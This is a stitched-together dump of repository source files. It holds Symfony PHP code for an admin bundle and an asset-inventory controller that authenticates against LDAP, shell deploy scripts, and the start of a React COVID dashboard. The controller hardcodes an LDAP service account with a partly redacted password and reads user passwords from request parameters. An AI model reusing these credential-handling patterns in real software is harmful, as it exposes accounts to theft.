'sonata_type_model_autocomplete') { if (!$fieldDescription->getAssociationAdmin()) { throw new \RuntimeException(sprintf('The current field `%s` is not linked to an admin. Please create one for the target entity: `%s`', $fieldDescription->getName(), $fieldDescription->getTargetEntity())); } } } elseif ($type == 'sonata_type_admin') { if (!$fieldDescription->getAssociationAdmin()) { throw new \RuntimeException(sprintf('The current field `%s` is not linked to an admin. Please create one for the target entity : `%s`', $fieldDescription->getName(), $fieldDescription->getTargetEntity())); } if (!in_array($fieldDescription->getMappingType(), array(ClassMetadataInfo::ONE_TO_ONE, ClassMetadataInfo::MANY_TO_ONE ))) { throw new \RuntimeException(sprintf('You are trying to add `sonata_type_admin` field `%s` which is not One-To-One or Many-To-One. Maybe you want `sonata_model_list` instead?', $fieldDescription->getName())); } $options['data_class'] = $fieldDescription->getAssociationAdmin()->getClass(); $fieldDescription->setOption('edit', $fieldDescription->getOption('edit', 'admin')); } elseif ($type == 'sonata_type_collection' || $type == 'orangegate_type_media_collection') { if (!$fieldDescription->getAssociationAdmin()) { throw new \RuntimeException(sprintf('The current field `%s` is not linked to an admin. Please create one for the target entity : `%s`', $fieldDescription->getName(), $fieldDescription->getTargetEntity())); } $options['type'] = 'sonata_type_admin'; $options['modifiable'] = true; $options['type_options'] = array( 'sonata_field_description' => $fieldDescription, 'data_class' => $fieldDescription->getAssociationAdmin()->getClass() ); } return $options; } } <file_sep><?php namespace Symbio\OrangeGate\DoctrineORMAdminBundle\DependencyInjection\Compiler; use Symfony\Component\DependencyInjection\Definition; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; class AddAuditEntityCompilerPass implements CompilerPassInterface { /** * {@inheritDoc} */ public function process(ContainerBuilder $container) { if (!$container->hasDefinition('simplethings_entityaudit.config')) { return; } $auditedEntities = $container->getParameter('simplethings.entityaudit.audited_entities'); $force = $container->getParameter('sonata_doctrine_orm_admin.audit.force'); foreach ($container->findTaggedServiceIds('sonata.admin') as $id => $attributes) { if ($attributes[0]['manager_type'] != 'orm') { continue; } if (true === $force && isset($attributes[0]['audit']) && false === $attributes[0]['audit']) { continue; } if (false === $force && (!isset($attributes[0]['audit']) || false === $attributes[0]['audit'])) { continue; } $definition = $container->getDefinition($id); $class = $this->getModelName($container, $definition->getArgument(1)); $translationClass = $class.'Translation'; if (class_exists($translationClass)) { $auditedEntities[] = $translationClass; } } $auditedEntities = array_unique($auditedEntities); $container->setParameter('simplethings.entityaudit.audited_entities', $auditedEntities); $container->getDefinition('sonata.admin.audit.manager')->addMethodCall('setReader', array('sonata.admin.audit.orm.reader', $auditedEntities)); } /** * @param \Symfony\Component\DependencyInjection\ContainerBuilder $container * @param string $name * * @return string */ private function getModelName(ContainerBuilder $container, $name) { if ($name[0] == '%') { return $container->getParameter(substr($name, 1, -1)); } return $name; } }
64c0228317e124e78b3b66dd4e4a0e6e83ccad57
[ "PHP" ]
4
PHP
SYMBIO/orangegate4-doctrine-orm-bundle
b19935854eac3fe39f4a7ff10739018e1f358a00
12b2c269861f8b2bf954fc322387a106a3c569f0
refs/heads/master
<repo_name>fjvigil89/contable<file_sep>/web/bootstrap/js/custom_contable.js /*$(document).ready(function() { $("#mostrarmodal").modal("show"); }); function BuscarEmpleado(idEmpleado) { $('.titulo').html(idEmpleado); $("#mostrarmodal").modal("show"); } function BuscarAreaResponsable(idArearesp) { alert(idArearesp); } */ $(document).ready(function(){ $(window).scroll(function(){ if ($(this).scrollTop() > 100) { $('.scrollup').fadeIn(); } else { $('.scrollup').fadeOut(); } }); $('.scrollup').click(function(){ $("html, body").animate({ scrollTop: 0 }, 600); return false; }); });<file_sep>/tools/deploy-git.sh #!/bin/bash ENV=${1:-master} echo Deploying $ENV ssh -i /root/.ssh/id_rsa <EMAIL> 'r10k deploy environment -p -v -c /etc/r10k.yaml' <file_sep>/src/Contabilidad/activosBundle/Controller/DefaultController.php <?php namespace Contabilidad\activosBundle\Controller; use GuzzleHttp\Pool; use Guzzle\Http\Client; use GuzzleHttp\Event\BeforeEvent; use Symfony\Bundle\FrameworkBundle\Controller\Controller; class DefaultController extends Controller { private $use_ldap=true; private $ldap_dn="DC=upr,DC=edu,DC=cu"; private $ldap_usr_dom="@upr.edu.cu"; private $ldap_host="ldap://ad.upr.edu.cu"; function isLdapUser($username,$password,$ldap){ global $ldap_dn,$ldap_usr_dom; //$ldap = ldap_connect($this->ldap_host,389); ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION,3); ldap_set_option($ldap, LDAP_OPT_REFERRALS,0); $ldapBind= ldap_bind($ldap, $username. $this->ldap_usr_dom, $password); //ldap_unbind($ldap); return $ldapBind; } function Auth($username, $password, $adGroupName = false){ global $ldap_host,$ldap_dn; $ldap = ldap_connect($this->ldap_host); if (!$ldap) throw new Exception("Cant connect ldap server", 1); return isLdapUser($username, $password, $ldap); } function Info($username, $password, $adGroupName = false,$attrib){ global $ldap_host,$ldap_dn; $ldap = ldap_connect($this->ldap_host); if (!$ldap) throw new Exception("Cant connect ldap server", 1); if($this->isLdapUser($username, $password, $ldap)){ $results = ldap_search($ldap,$this->ldap_dn,'(sAMAccountName=' . $username . ')',$attrib); $user_data = ldap_get_entries($ldap, $results); return $user_data; } } function Exist($username){ global $ldap_host,$ldap_dn,$ldap_usr_dom; $exist = true; $ldap = ldap_connect($this->ldap_host); if (!$ldap) throw new Exception("Cant connect ldap server", 1); ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION,3); ldap_set_option($ldap, LDAP_OPT_REFERRALS,0); $usernameBiblo = 'biblioteca'; $passwordBiblo = <PASSWORD>$'; $ldapBind= ldap_bind($ldap, $usernameBiblo. $this->ldap_usr_dom, $passwordBiblo); $attrib = array('distinguishedname'); //isLdapUser($username, $password, $ldap); $results = ldap_search($ldap,$this->ldap_dn,'(sAMAccountName=' . $username . ')',$attrib); $user_data = ldap_get_entries($ldap, $results); if($user_data[0]['distinguishedname'][0] == "")$exist = false; if(strstr($user_data[0]['distinguishedname'][0], '_Bajas')) $exist = false; return $exist; } public function load_ResponsableAction() { $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $user=$peticion->get('user');//obtener el Objeto "user" pasado por la peticion $password=$peticion->get('password');//obtener el Objeto "password" pasado por la peticion $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $ldapClass= $this->Info($user,$password,false,array("employeeID","employeeNumber")); //$ldapClass= $this->isLdapUser($user,$password,$this->ldap_host); //var_dump($ldapClass); //var_dump($ldapClass[0]["employeeid"][0]); if (isset($ldapClass[0]["employeenumber"][0])){ $id=$ldapClass[0]["employeenumber"][0]; $request = $client->get("activo_fijos?idEmpleado=".(string)$id);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage']; $count=$this->GetCantPageFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?idEmpleado=".(string)$id."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } elseif (isset($ldapClass[0]["employeeid"][0])) { $id=$ldapClass[0]["employeeid"][0]; $request = $client->get("empleados_gras?noCi=".(string)$id);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $src=$data['hydra:member']; $idEmpleado_upr=$src[0]['idExpediente']; $request = $client->get("activo_fijos?idEmpleado=".(string)$idEmpleado_upr);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage']; $count=$this->GetCantPageFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?idEmpleado=".(string)$idEmpleado_upr."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json, )); } public function responsableAction() { return $this->render('activosBundle:Default:responsable.html.twig'); } public function ObtenerNombreEmpleado($client) { $request = $client; $response = $request->send(); $data = $response->json(); $area_respo=$data['hydra:member']; if (isset($area_respo[0])) { return $area_respo[0]['nombre'].' '.$area_respo[0]['apellido1'].' '.$area_respo[0]['apellido2']; } else { return "---"; } //return $nombre; } public function ObtenerAreaResponsabilidad($client){ $request = $client; $response = $request->send(); $data = $response->json(); $area_respo=$data['hydra:member']; if (isset($area_respo[0])) { return $area_respo[0]['descArearesponsabilidad']; } else { return "---"; } } public function Locate_inventarioAction(){ $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $NoInventario=$peticion->get('NoInventario');//obtener el Objeto "id" pasado por la peticion //$tipocnmb=$this->GetID($tipocnmb);//separar el objeto id para obtener los numeros reales del id //$id=$peticion->get('id');//obtener el Objeto "id" pasado por la peticion //$id=$this->GetID($id);//separar el objeto id para obtener los numeros reales del id $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("activo_fijos?idRotulo=".(string)$NoInventario);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage']; $count=$this->GetCantPageFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?idRotulo=".(string)$NoInventario."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } //renderizar al html los objetos json capturados return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json, )); } public function inventarioAction() { return $this->render('activosBundle:Default:inventario.html.twig'); } public function uprCnmbAction(){ $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $tipocnmb=$peticion->get('tipocnmb');//obtener el Objeto "id" pasado por la peticion $tipocnmb=$this->GetID($tipocnmb);//separar el objeto id para obtener los numeros reales del id $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("activo_fijos?cnmb=".(string)$tipocnmb);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage']; $count=$this->GetCantPageFilter($count); if ($count!=0) { for ($i=1; $i < $count ; $i++) { $request = $client->get("activo_fijos?cnmb=".(string)$tipocnmb."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { // $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); //$src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { //$src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); //$src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } //renderizar al html los objetos json capturados return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json, )); } public function tipocnmbAction(){ $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $tipocnmb=$peticion->get('tipocnmb');//obtener el Objeto "id" pasado por la peticion $tipocnmb=$this->GetID($tipocnmb);//separar el objeto id para obtener los numeros reales del id $id=$peticion->get('id');//obtener el Objeto "id" pasado por la peticion $id=$this->GetID($id);//separar el objeto id para obtener los numeros reales del id $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("activo_fijos?idCcosto=".(string)$id."&cnmb=".(string)$tipocnmb);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage'];; $count=$this->GetCantMultiFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?idCcosto=".(string)$id."&cnmb=".(string)$tipocnmb."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } //renderizar al html los objetos json capturados return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json, )); } public function homeAction(){ $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("empleados_gras?idCcosto=4009&idCargo=0012&baja=0");//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $DirectorEconomico=$data['hydra:member']; $request = $client->get("empleados_gras?idCcosto=4164&idCargo=9387&baja=0");//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $DirectorGeneral=$data['hydra:member']; return $this->render('activosBundle:Default:home.html.twig',array( 'economico'=>$DirectorEconomico, 'general'=>$DirectorGeneral, )); } public function activos_cnmbAction() { $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $idcnmb=$peticion->get('idcnmb');//obtener el Objeto "id" pasado por la peticion //$idcnmb=$this->GetID($idcnmb);//separar el objeto id para obtener los numeros reales del id $id=$peticion->get('id');//obtener el Objeto "id" pasado por la peticion $id=$this->GetID($id);//separar el objeto id para obtener los numeros reales del id $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("activo_fijos?idCcosto=".(string)$id."&descActivofijo=".(string)$idcnmb);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage'];; $count=$this->GetCantMultiFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?idCcosto=".(string)$id."&descActivofijo=".(string)$idcnmb."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } //renderizar al html los objetos json capturados return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json, )); } public function activos_upr_cnmbAction() { $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $idcnmb=$peticion->get('idcnmb');//obtener el Objeto "id" pasado por la peticion //echo $idcnmb; $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("activo_fijos?descActivofijo=".(string)$idcnmb);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage']; $count=$this->GetCantPageFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?descActivofijo=".(string)$idcnmb."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { //$src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); //$src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } else{ $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { //$src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); //$src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json )); } public function activosAction()//saber los activos fijos dado el id de un area { $peticion = $this->getRequest();//objeto POST or GET de una peticion URL $id=$peticion->get('id');//obtener el Objeto "id" pasado por la peticion $id=$this->GetID($id);//separar el objeto id para obtener los numeros reales del id $client = new Client("http://apiassets.upr.edu.cu");//abrir un nuevo cliente guzzle $json=Array();//crear una variable json de tipo array $request = $client->get("activo_fijos?idCcosto=".(string)$id);//hacerle una peticion GET a la paguina consecutiva $response = $request->send();//enviar la peticion $data = $response->json(); //recoger el json de la peticion $count=$data['hydra:lastPage']; $count=$this->GetCantPageFilter($count); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("activo_fijos?idCcosto=".(string)$id."&page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) //recorrer los elementos del array que esta en "hydra:member" { $src[$j]['idEmpleado']=$this->ObtenerNombreEmpleado($client->get("empleados_gras?idExpediente=".(string)$src[$j]['idEmpleado'])); $src[$j]['idArearesp']=$this->ObtenerAreaResponsabilidad($client->get("areas_responsabilidads?idArearesponsabilidad=".(string)$src[$j]['idArearesp'])); array_push($json, $src[$j]);//adicionarle al json los elementos del array que pertenesca al centro de costo } } } //renderizar al html los objetos json capturados return $this->render('activosBundle:Default:activos.html.twig',array( "json"=>$json )); } public function indexAction()//mostrar todos los "centros de costos" existentes en la UPR { $count=$this->GetCantPage('centro_costos'); $countcnmb=$this->GetCantPage('cnmb_activofijos'); $json=Array(); $jsoncnmb= Array(); $client = new Client("http://apiassets.upr.edu.cu"); if ($count!=0) { for ($i=1; $i <$count ; $i++) { $request = $client->get("centro_costos?page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) { array_push($json, $src[$j]); } } } else { $request = $client->get("centro_costos"); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) { array_push($json, $src[$j]); } } for ($i=1; $i <$countcnmb ; $i++) { $request = $client->get("cnmb_activofijos?page=".(string)$i); $response = $request->send(); $data = $response->json(); $src=$data['hydra:member']; for ($j=0; $j < count($src) ; $j++) { array_push($jsoncnmb, $src[$j]); } } return $this->render('activosBundle:Default:index.html.twig',array( "json"=>$json, "jsoncnmb"=>$jsoncnmb, )); } public function multiexplode ($delimiters,$string) { $ready = str_replace($delimiters, $delimiters[0], $string); $launch = explode($delimiters[0], $ready); return $launch; } public function GetID($id)//Desglosar el "id" de /activo_fijos/%20972537%20%20%20%20%20%20%20%20" a "20972537" { $aux= $this->multiexplode(array("/","%","+","?","="),$id); return $aux[2]; //print_r($aux); } public function GetCantPage($tabla)//obtener la cantidad de paguinas que tiene el json { $client = new Client('http://apiassets.upr.edu.cu'); $request = $client->get($tabla); $response = $request->send(); $data = $response->json(); $count= $data['hydra:totalItems']; $total = $data['hydra:itemsPerPage']; if ($count < $total ) { return 0; } else { $count= $data['hydra:lastPage']; $a=preg_split("/[\s,=]+/", $count); return $a[1]; //print_r($a); } } public function GetCantPageFilter($count)//obtener la cantidad de paguinas que tiene el json { $a=preg_split("/[\s,=]+/", $count); if(count($a)>2) return $a[2]; else return 0; } public function GetCantMultiFilter($count) { $a=preg_split("/[\s,=,%]+/", $count); if(count($a)>3) return $a[3]; else return 0; } } <file_sep>/src/AppBundle/Entity/User.php <?php // src/AppBundle/Entity/User.php namespace AppBundle\Entity; use FOS\UserBundle\Model\User as BaseUser; use Doctrine\ORM\Mapping as ORM; use Symfony\Component\Validator\Constraints as Assert; use FR3D\LdapBundle\Model\LdapUserInterface; /** * @ORM\Entity * @ORM\Table(name="fos_user") */ class User extends BaseUser implements LdapUserInterface { /** * @ORM\Id * @ORM\Column(type="integer") * @ORM\GeneratedValue(strategy="AUTO") */ protected $id; /** * @var string $nombre * * @ORM\Column(name="nombre", type="string", length=255, nullable=true) */ protected $nombre; public function __construct() { parent::__construct(); // your own logic } /** * Get id * * @return integer */ public function getId() { return $this->id; } /** * Set nombre * * @param string $nombre */ public function setNombre($nombre) { $this->nombre = $nombre; } /** * Get nombre * * @return string */ public function getNombre() { return $this->nombre; } public function __toString() { return (string) $this->getNombre(); } /** * Ldap Object Distinguished Name * @var string $dn */ private $dn; /** * {@inheritDoc} */ public function setDn($dn) { $this->dn = $dn; } /** * {@inheritDoc} */ public function getDn() { return $this->dn; } public function getExpiresAt() { return $this->expiresAt; } public function getCredentialsExpireAt() { return $this->credentialsExpireAt; } } <file_sep>/src/Contabilidad/activosBundle/activosBundle.php <?php namespace Contabilidad\activosBundle; use Symfony\Component\HttpKernel\Bundle\Bundle; class activosBundle extends Bundle { } <file_sep>/tools/composer.sh #!/bin/bash ENV=${1:-master} echo Deploying $ENV ssh -i /root/.ssh/id_rsa <EMAIL> 'cd /home/Contable/master && sudo php ../../composer.phar update --prefer-dist -o'
d1c79feeb95738c3a0b5493ae121694890c5909e
[ "JavaScript", "PHP", "Shell" ]
6
JavaScript
fjvigil89/contable
187284ef8e1f3c1c876f8ad674d2cad3ebcb12bc
b95bdb21bc96a53cedbdd8528403b478869aca72
refs/heads/master
<repo_name>rounaakk/DexConnect<file_sep>/settings.gradle rootProject.name='DexConnect' include ':app' <file_sep>/app/src/main/java/com/example/dexconnect/Cards.java package com.example.dexconnect; public class Cards { private String title; private String aud; private String dLine; private String link; private String refLink1; private String refTitle1; private String refLink2; private String refTitle2; private String desc; public Cards(String title, String aud, String dLine, String link, String refLink1, String refTitle1, String refLink2, String refTitle2, String desc) { this.title = title; this.aud = aud; this.dLine = dLine; this.link = link; this.refLink1 = refLink1; this.refTitle1 = refTitle1; this.refLink2 = refLink2; this.refTitle2 = refTitle2; this.desc = desc; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getAud() { return aud; } public void setAud(String aud) { this.aud = aud; } public String getdLine() { return dLine; } public void setdLine(String dLine) { this.dLine = dLine; } public String getLink() { return link; } public void setLink(String link) { this.link = link; } public String getRefLink1() { return refLink1; } public void setRefLink1(String refLink1) { this.refLink1 = refLink1; } public String getRefTitle1() { return refTitle1; } public void setRefTitle1(String refTitle1) { this.refTitle1 = refTitle1; } public String getRefLink2() { return refLink2; } public void setRefLink2(String refLink2) { this.refLink2 = refLink2; } public String getRefTitle2() { return refTitle2; } public void setRefTitle2(String refTitle2) { this.refTitle2 = refTitle2; } public String getDesc() { return desc; } public void setDesc(String desc) { this.desc = desc; } public Cards(){ } }
36a27297324a2f4a5e6d0dbc6723c4cef0cd7730
[ "Java", "Gradle" ]
2
Gradle
rounaakk/DexConnect
71f141b3c354683acb79ba226fcd6bf547179dad
3853b3454aeb07578c1b7026c210ad4e1658817b
refs/heads/master
<repo_name>edoardo-conti/pdgt-covid-client<file_sep>/src/App.js import React from "react"; import { BrowserRouter as Router, Route } from "react-router-dom"; import clsx from "clsx"; // GUI import { makeStyles, useTheme } from "@material-ui/core/styles"; import Drawer from "@material-ui/core/Drawer"; import CssBaseline from "@material-ui/core/CssBaseline"; import AppBar from "@material-ui/core/AppBar"; import Toolbar from "@material-ui/core/Toolbar"; import Typography from "@material-ui/core/Typography"; import Divider from "@material-ui/core/Divider"; import IconButton from "@material-ui/core/IconButton"; import MenuIcon from "@material-ui/icons/Menu"; import ChevronLeftIcon from "@material-ui/icons/ChevronLeft"; import ChevronRightIcon from "@material-ui/icons/ChevronRight"; import List from "@material-ui/core/List"; import ListItem from "@material-ui/core/ListItem"; import ListItemText from "@material-ui/core/ListItemText"; import ListItemIcon from "@material-ui/core/ListItemIcon"; import PersonAddIcon from '@material-ui/icons/PersonAdd'; // icons import VerifiedUserIcon from "@material-ui/icons/VerifiedUser"; import AccountCircleIcon from "@material-ui/icons/AccountCircle"; import TrendingUpIcon from "@material-ui/icons/TrendingUp"; import TimelineIcon from "@material-ui/icons/Timeline"; import SupervisedUserCircleIcon from "@material-ui/icons/SupervisedUserCircle"; import ExitToAppIcon from "@material-ui/icons/ExitToApp"; import DashboardIcon from "@material-ui/icons/Dashboard"; import VpnKeyIcon from "@material-ui/icons/VpnKey"; // components import Home from "./components/home"; import Signin from "./components/signin"; import Signup from "./components/signup"; import Users from "./components/users"; import TrendNazionale from "./components/trendNazionale"; import TrendRegionale from "./components/trendRegionale"; // helper import { isAuthenticated } from "./helper"; // css import "./App.css" const drawerWidth = 240; const useStyles = makeStyles((theme) => ({ root: { display: "flex", }, appBar: { transition: theme.transitions.create(["margin", "width"], { easing: theme.transitions.easing.sharp, duration: theme.transitions.duration.leavingScreen, }), }, appBarShift: { width: `calc(100% - ${drawerWidth}px)`, marginLeft: drawerWidth, transition: theme.transitions.create(["margin", "width"], { easing: theme.transitions.easing.easeOut, duration: theme.transitions.duration.enteringScreen, }), }, menuButton: { marginRight: theme.spacing(2), }, hide: { display: "none", }, drawer: { width: 